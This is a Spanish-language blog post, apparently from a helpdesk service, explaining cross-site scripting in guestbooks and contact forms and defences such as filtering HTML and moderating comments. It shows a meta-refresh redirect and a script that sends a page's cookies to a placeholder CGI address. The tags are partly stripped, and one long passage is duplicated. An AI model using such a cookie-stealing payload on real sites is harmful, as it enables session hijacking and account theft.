Cuando un sitio web tiene un contenido que permite interactuar al usuario, es importante saber que nuestro servidor, será capaz de interpretar lo que le están indicando en esos campos. Con ese contenido, me refiero a formularios de contacto, libros de visita, comentarios…). Cuando empezaron a incluirse este tipo de servicios en las web, poco se tuvo en cuenta que lo que estábamos haciendo, era abrir una ventana contra nuestro sistema. Entendámoslo de la siguiente manera: Un usuario, quiere firmar en un libro de visitas. Lo que ponga, el servidor lo recogerá y lo incluirá en el sistema. Por lo tanto, escribamos lo que escribamos, el servidor lo incluirá. Entonces, ¿el usuario puede escribir instrucciones a las que el servidor obedezca? Sí. Podemos incluir scripts, HTML…todo tipo de instrucciones que el servidor interprete, y que luego lleve a cabo.
Por lo tanto, debemos saber que nuestro servidor ha de poder diferenciar entre lo que es un comentario normal y cuando lo es uno malicioso. De esta forma, un formulario de contacto, no debería aceptar un script en su interior, o un libro de visitas no debería aceptar código HTML.
Respecto a los libros de visita, es muy frecuente encontrar que los comentarios lleven embebido código HTML. Por ejemplo, podríamos usar el código para re-direccionar el sitio web:
<>
<>
< equiv="Refresh" content="5; URL=http://www.google.com">
< /head >
<>
This page is redirecting your browser to Google
Please, click here if redirection doesn't work.
< /body >
< /html >
De este modo, el comentario daría lugar a una redirección del sitio web a Google, pasados 5 segundos después de cargar la página.
Ahora bien, para que este caso en concreto no funcione, tenemos varios métodos para la correcta administración del servidor.
Por un lado, podemos deshabilitar el contenido HTML de los comentarios. Esta opción, hará que no funcione ninguna de las líneas de código que se incluyan en ese comentario. Pero su desventaja, es que si queremos resaltar texto, cambiarle el color, hacer un marquee, o cualquier otro formato, o incluso incluir imágenes en el comentario; no será posible.
Una variante de este método, es filtrar el tipo de código HTML permitido, como encontramos en sitios como Blogger, donde los usuarios (incluso de forma anónima), pueden dejar sus comentarios con HTML, pero solo están permitidos algunas etiquetas como “<>, <>, < a >…”
Otra opción evidente, es administrar los comentarios uno por uno. Es decir, no se publicarán hasta que no los hayamos aprobado previamente.
Veamos un ejemplo de un formulario protegido:
Por lo tanto, debemos saber que nuestro servidor ha de poder diferenciar entre lo que es un comentario normal y cuando lo es uno malicioso. De esta forma, un formulario de contacto, no debería aceptar un script en su interior, o un libro de visitas no debería aceptar código HTML.
Respecto a los libros de visita, es muy frecuente encontrar que los comentarios lleven embebido código HTML. Por ejemplo, podríamos usar el código para re-direccionar el sitio web:
<>
<>
< equiv="Refresh" content="5; URL=http://www.google.com">
< /head >
<>
This page is redirecting your browser to Google
Please, click here if redirection doesn't work.
< /body >
< /html >
De este modo, el comentario daría lugar a una redirección del sitio web a Google, pasados 5 segundos después de cargar la página.
Ahora bien, para que este caso en concreto no funcione, tenemos varios métodos para la correcta administración del servidor.
Por un lado, podemos deshabilitar el contenido HTML de los comentarios. Esta opción, hará que no funcione ninguna de las líneas de código que se incluyan en ese comentario. Pero su desventaja, es que si queremos resaltar texto, cambiarle el color, hacer un marquee, o cualquier otro formato, o incluso incluir imágenes en el comentario; no será posible.
Una variante de este método, es filtrar el tipo de código HTML permitido, como encontramos en sitios como Blogger, donde los usuarios (incluso de forma anónima), pueden dejar sus comentarios con HTML, pero solo están permitidos algunas etiquetas como “<>, <>, < a >…”
Otra opción evidente, es administrar los comentarios uno por uno. Es decir, no se publicarán hasta que no los hayamos aprobado previamente.
Veamos un ejemplo de un formulario protegido:
Evidentemente, como se trata de un ejemplo, el formulario no responde a nada, pero observamos que al introducir código HTML, nuestro CRM nos advierte de un intento de XSS. Eso es debido a que la etiqueta <>, no está permitida.
A este tipo de técnica XSS, se la conoce como explotación de vulnerabilidad directa. De forma directa, atacamos contra el sistema que haya por detrás de la web, intentando manipular su contenido. Pero yendo un paso más allá, también podríamos intentar recabar información acerca de las cookies o login de una web.
Para ello, podemos usar un script cualquiera, que recoja la información, y la use a través de una web que nosotros le indiquemos:
<>
var url = ‘http://www.mipagina.es/mandame_los_passwords.cgi’;
url = url + ‘?cookie=’ + escape(document.cookie);
document.write(’< src="”‘+url+’”">’);
< /script >
Este script, realmente recoge la información de cookies del sitio donde lo incrustemos, y mediante una programación en cgi (Common Gateway Interface), mandará esa información. Los scripts en cgi, son los que normalmente usan contadores, bases de datos, motores de búsqueda, formularios…
Pero veamos qué ocurre si por ejemplo insertamos este código en el formulario de contacto de www.serviciohelpdesk.com:
Como podemos observar, tan solo detectar la etiqueta <>, se deniega cualquier intento de envío a través del formulario.
En este caso, el uso del cgi, es una acción directa con un modo avanzado. No se trataría solo de modificar el contenido, si no de apropiarse de él.
El sistema indirecto, es bastante menos usado, pero sin embargo es el más peligroso. Se trata de exploits en framesets o aplicando redireccionamientos del website o la aplicación vulnerable. Explicado así, quizás suene extraño, pero para entendernos, se trataría de aquella que no permita la inserción directa de HTML por ejemplo. Sucede cuando hay un mensaje o una ruta en la URL del navegador o en una cookie. Para saber el contenido de una cookie, sin usar ningún tipo de iecv o addin para tu navegador, podríamos usar un código javascript que nos permitiría modificar el contenido de la cookie (por ejemplo).
De todos modos, este tipo de ataques, suelen producirse poco, y normalmente mediante muchísimas más herramientas que el propio navegador web.
En cualquier caso, la finalidad de este artículo, no es otra que, como siempre; desde Servicio HelpDesk le invitamos a que tenga muy en cuenta su seguridad. Un sitio web, no es más que una puerta abierta al exterior, y es necesario saber en todo momento que es lo que dejamos que la cruce. Para comprobar la seguridad de su sitio web, le animamos a que ponga en práctica estas pruebas básicas, así como la revisión regular de sus actualizaciones (IIS, Apache, MySQL, Sharepoint)…Si bien es cierto que hoy en día aplicaciones como un CRM, llevan actualizadas estas protecciones, el prevenir siempre es mucho mejor que el curar.
0 comentaris:
Publicar un comentario